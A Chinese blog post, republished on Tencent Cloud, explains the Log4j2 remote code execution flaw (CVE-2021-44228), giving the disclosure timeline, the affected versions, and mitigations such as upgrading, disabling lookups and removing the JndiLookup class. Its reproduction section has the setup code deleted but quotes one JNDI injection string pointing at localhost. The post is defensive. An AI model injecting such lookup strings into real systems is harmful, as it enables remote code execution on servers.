学习
实践
活动
专区
工具
TVP
写文章
专栏首页程序猿阿朗的专栏5 分钟复现 log4J 漏洞,手把手实现

5 分钟复现 log4J 漏洞,手把手实现

2021年12月10日凌晨前,网上曝出了 log4j 的核弹级漏洞,这种漏洞超级高危,操作简单,利用方便,适用范围广,可以直接任意代码执行接管你的服务器

此处思考曝光者凌晨曝光的原因,或许选择凌晨曝光,想着无数工程师半夜起来紧急修复,让 TA 产生了变态的快感

我知道你们是想看什么的,就是想看如何演示,不过可能要让你失望了,本来我是发表了如何复现的介绍。

发表后立马得到了不错的反馈,但是想到可能很多人不是来学习的,可能是真的会进行不当利用,所以还是决定删掉了。真的只是研究下那就加个好友交个朋友吧,公开场合不适合介绍漏洞复现。

0x01. 漏洞情况

Apache Log4j2是一款优秀的Java日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。

这里贴下漏洞公开级别。

漏洞细节

漏洞PoC

漏洞EXP

在野利用

公开

公开

公开

存在

通过网上公开资料,这个漏洞的细节已经完全公开,这里简单演示,让大家了解漏洞情况,尽快安全升级。

根据网络公开新闻,可以梳理出以下时间脉络:

  • 2021年 11 月 24 日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
  • 2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar
  • 2021年12月10日,log4j2 发布修复包 log4j-2.15.0-rc2.jar
  • 2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过请及时更新至 Apache Log4j 2.15.0-rc2 版本

实际受影响范围如下

Apache Log4j 2.x < 2.15.0-rc2

0x02. 安全建议

  1. 排查应用是否引入了 Apache log4j-core Jar 包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink
  3. 临时缓解方案。可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。对于大于2.10版本的Log4j,可设置 log4j2.formatMsgNoLookups 为 True,或者将 JndiLookup 类从 classpath 中去除,例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

0x03. 漏洞复现

以下测试,只做学习分析之用,不要于其他用途!单机演示,所有地址都是 127.0.0.1

本来不准备画图的,但是很多同学以为注入漏洞就是简单的运行网上的 ${jndi:ldap://127.0.0.1:1389/Log4jTest} ,我觉得还是有必要画个图简单说明一下, 一个简单的攻击链路步骤图,画的匆忙见谅。

3.1. 环境模拟 - 受害者小白服务

已删除。

3.2. 环境模拟 - 攻击者服务

已删除。

3.3. 测试

受害者小白服务再次运行,原本只简单打印一行日志,现在多了一行说明信息。

无害测试,没有攻击性,linux/mac 创建文本:xxxyyyzzz.txt;windows 弹出计算器。最后求关注,公众号:程序猿阿朗
20:21:57.780 [main] ERROR Log4j2 - params: xxx

同时运行项目目录多了一个文件 xxxyyyzzz.txt

如果你是在 windows 上运行测试,那么会弹出一个计算器。

一如既往,文章中的代码存放在:github.com/niumoo/lab-notes

---- END ----

Hello world : ) 这篇文章就到这里了,我是阿朗。

文章分享自微信公众号:
程序猿阿朗

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:程序猿阿朗
原始发表时间:2021-12-11
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • [漏洞复现]log4j漏洞RCE(CVE-2021-44228)

    这里做一个复现学习的小文章,由于对java这方面的知识雀食是薄弱,而且本地复现时,出现了挺多问题,在本地复现时,不知道是什么原因,利用payload去打的时候,...

    vFREE
  • 从零到一搭建基础架构(1)-玩转maven依赖版本管理

    Hello,这里是爱 Coding,爱 Hiphop,爱喝点小酒的 AKA 柏炎。

    柏炎
  • 漏洞复现 | CVE‐2017‐5645

    Apache Log4j Server 反序列化命令执行漏洞(CVE‐2017‐5645)

    Ms08067安全实验室
  • Apache Log4j2远程代码执行漏洞风险紧急通告,腾讯安全支持全面检测

    ​​腾讯安全注意到,一个Apache Log4j2的高危漏洞细节被公开,攻击者利用漏洞可以远程执行代码。

    腾讯安全
  • 【紧急】Log4j又发新版2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变

    经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.1...

    Tom弹架构
  • CVE-2021-45046 log4j2-RCE-复现篇

    12月9号就看到了关于log4j2-DOS漏洞相关的研究思路文章,可惜比较忙没有时间搞一下

    万海旭
  • 【紧急】Log4j又发新版2.17.0,只有彻底搞懂RCE漏洞原因,以不变应万变,小白也能看懂

    经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.1...

    Tom弹架构
  • 突发!Log4j 爆“核弹级”漏洞,腾讯安全支持检测拦截Log4j2远程代码执行漏洞风险

    据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。根据“微步在线研究响应中心”消息,可能的受影响应用包括但不限于:Spring-B...

    TCS-F
  • Apache Log4j2-任意代码执行-漏洞复现

    相信大家都不陌生,log4j2 ,核弹级漏洞,2021年12月9日,国内多家机构监测到Apache Log4j存在任意代码执行漏洞,并紧急通报相关情况。由于A...

    用户8478399
  • 突发!Log4j 爆“核弹级”漏洞,Flink、Kafka等至少十多个项目受影响

    昨晚,对很多程序员来说可能是一个不眠之夜。12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用...

    深度学习与Python
  • 突发!Log4j 爆“核弹级”漏洞

    昨晚,对很多程序员来说可能是一个不眠之夜。12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用...

    程序员小猿
  • 我也想说说日志,但是我不想说漏洞。

    我就想验证一下上手难度到底有多低,于是我翻了很多文章,都是大同小异,说出漏洞了,很牛逼,赶紧修吧,晚了就玩完啦。然后配上一个唤起了计算器的截图,就结束了,也没有...

    why技术
  • 半壁互联网江山都中招!开源软件被曝“十年最重大漏洞”,维护人竟只有3名志愿者

    就在前两天,全球知名开源日志组件Apache开源项目Log4j远程代码执行漏洞细节被公开。

    大数据文摘
  • 【云安全最佳实践】Log4j漏洞介绍及云上防范

    2021年11月中国软件工程师陈兆军发现了一个在Java服务中常用日志组件Log4j2的一个高危漏洞,并提交给官方。

    瀛洲骇客
  • 安全知识图谱 | Log4j事件云端数据分析

    Log4j漏洞攻击影响范围深远,为了有效观测、识别相关漏洞的攻击情况,绿盟科技通过监测与跟踪分析云端数据,洞察事件攻击态势,挖掘攻击模式,加速关键攻击事件的定位...

    绿盟科技研究通讯
  • log4j2 JNDI 注入漏洞分析

    2021 年 12 月 9 号注定是一个不眠之夜,著名的Apache Log4j 项目被爆存在远程代码执行漏洞,且利用简单,影响危害巨大,光是引入了 log4j...

    p4nda
  • 《手把手教你》系列基础篇(八十九)-java+ selenium自动化测试-框架设计基础-Logback实现日志输出-上篇(详解教程)

     今天讲解和分享这篇文章主要是由于log4j2前段时间新闻发现 Apache Log4j2 近日被公开的远程代码执行漏洞在全球引起了重大影响:https://w...

    北京-宏哥
  • 【安全通告】Apache log4j2 远程代码执行漏洞风险通告(CVE-2021-44832)

    腾讯云安全运营中心监测到,Apache Log4j2 官方发布公告提示其在某些特殊场景下存在远程代码执行漏洞,漏洞编号CVE-2021-44832。该漏洞仅在...

    云鼎实验室
  • 【安全通告】Apache Log4j 2 远程代码执行漏洞(CVE-2021-45046)

    腾讯云安全运营中心监测到, Apache Log4j 由于非默认配置下对CVE-2021-44228修复措施不完善,导致在某些特殊配置场景下,可被攻击者利用造...

    云鼎实验室

扫码关注腾讯云开发者

领取腾讯云代金券